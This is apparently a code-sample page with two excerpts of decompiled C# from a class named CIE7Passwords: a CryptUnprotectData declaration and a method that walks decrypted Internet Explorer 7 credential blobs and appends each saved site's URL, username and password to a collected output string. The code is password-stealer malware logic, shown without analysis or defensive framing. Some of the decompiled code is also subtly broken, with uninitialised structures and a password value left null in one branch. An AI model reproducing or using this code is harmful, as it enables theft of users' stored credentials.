Beispiel #1
0
 private static extern int CryptUnprotectData(ref CIE7Passwords.DATA_BLOB pDataIn, int ppszDataDescr, IntPtr pOptionalEntropy, int pvReserved, int pPromptStruct, int dwFlags, ref CIE7Passwords.DATA_BLOB pDataOut);
Beispiel #2
0
        // Token: 0x060000B4 RID: 180 RVA: 0x00006984 File Offset: 0x00004B84
        private void ProcessIEPass(string strURL, string strHash, CIE7Passwords.DATA_BLOB dataOut)
        {
            CIE7Passwords.StringIndexEntry stringIndexEntry;
            int num = Strings.Len(stringIndexEntry);

            CIE7Passwords.StringIndexHeader stringIndexHeader;
            int    num2   = Strings.Len(stringIndexHeader);
            int    pbData = dataOut.pbData;
            IntPtr ptr    = new IntPtr(dataOut.pbData);

            checked
            {
                IntPtr ptr2 = new IntPtr(pbData + (int)Marshal.ReadByte(ptr));
                object obj  = Marshal.PtrToStructure(ptr2, stringIndexHeader.GetType());
                CIE7Passwords.StringIndexHeader stringIndexHeader2;
                stringIndexHeader = ((obj != null) ? ((CIE7Passwords.StringIndexHeader)obj) : stringIndexHeader2);
                bool flag = stringIndexHeader.dwType == 1;
                if (flag)
                {
                    bool flag2 = stringIndexHeader.dwEntriesCount >= 2;
                    if (flag2)
                    {
                        IntPtr intPtr = new IntPtr(ptr2.ToInt32() + stringIndexHeader.dwStructSize);
                        IntPtr value  = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num);
                        int    num3   = 0;
                        int    num4   = stringIndexHeader.dwEntriesCount - 1;
                        int    num5   = num3;
                        for (;;)
                        {
                            int num6 = num5;
                            int num7 = num4;
                            if (num6 > num7)
                            {
                                break;
                            }
                            flag2 = (value == IntPtr.Zero | intPtr == IntPtr.Zero);
                            if (flag2)
                            {
                                break;
                            }
                            object obj2 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType());
                            CIE7Passwords.StringIndexEntry stringIndexEntry2;
                            stringIndexEntry = ((obj2 != null) ? ((CIE7Passwords.StringIndexEntry)obj2) : stringIndexEntry2);
                            IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                            flag2 = (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize);
                            string text;
                            if (flag2)
                            {
                                ptr  = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                text = Marshal.PtrToStringUni(ptr);
                            }
                            else
                            {
                                intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                text    = Marshal.PtrToStringAnsi(intPtr2);
                            }
                            intPtr = new IntPtr(intPtr.ToInt32() + num);
                            object obj3 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType());
                            stringIndexEntry = ((obj3 != null) ? ((CIE7Passwords.StringIndexEntry)obj3) : stringIndexEntry2);
                            string text2 = Strings.Space(stringIndexEntry.dwDataSize);
                            intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                            flag2   = (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize);
                            if (flag2)
                            {
                                ptr   = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                text2 = Marshal.PtrToStringUni(ptr);
                            }
                            else
                            {
                                intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                text2   = Marshal.PtrToStringAnsi(intPtr2);
                            }
                            intPtr = new IntPtr(intPtr.ToInt32() + num);
                            p.OL   = string.Concat(new string[]
                            {
                                p.OL,
                                "|URL| ",
                                strURL,
                                "\r\n|USR| ",
                                text,
                                "\r\n|PWD| ",
                                text2,
                                "\r\n"
                            });
                            num5 += 2;
                        }
                    }
                }
                else
                {
                    bool flag2 = stringIndexHeader.dwType == 0;
                    if (flag2)
                    {
                        string text2  = null;
                        IntPtr intPtr = new IntPtr(ptr2.ToInt32() + stringIndexHeader.dwStructSize);
                        IntPtr value  = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num);
                        flag2 = (value == IntPtr.Zero | intPtr == IntPtr.Zero);
                        if (!flag2)
                        {
                            int num8  = 0;
                            int num9  = stringIndexHeader.dwEntriesCount - 1;
                            int num10 = num8;
                            for (;;)
                            {
                                int num11 = num10;
                                int num7  = num9;
                                if (num11 > num7)
                                {
                                    break;
                                }
                                object obj4 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType());
                                CIE7Passwords.StringIndexEntry stringIndexEntry2;
                                stringIndexEntry = ((obj4 != null) ? ((CIE7Passwords.StringIndexEntry)obj4) : stringIndexEntry2);
                                string text    = Strings.Space(stringIndexEntry.dwDataSize);
                                IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                flag2 = (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize);
                                if (flag2)
                                {
                                    ptr  = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                    text = Marshal.PtrToStringUni(ptr);
                                }
                                else
                                {
                                    intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                    text    = Marshal.PtrToStringAnsi(intPtr2);
                                }
                                intPtr = new IntPtr(intPtr.ToInt32() + num);
                                p.OL   = string.Concat(new string[]
                                {
                                    p.OL,
                                    "|URL| ",
                                    strURL,
                                    "\r\n|USR| ",
                                    text,
                                    "\r\n|PWD| ",
                                    text2,
                                    "\r\n"
                                });
                                num10++;
                            }
                        }
                    }
                }
            }
        }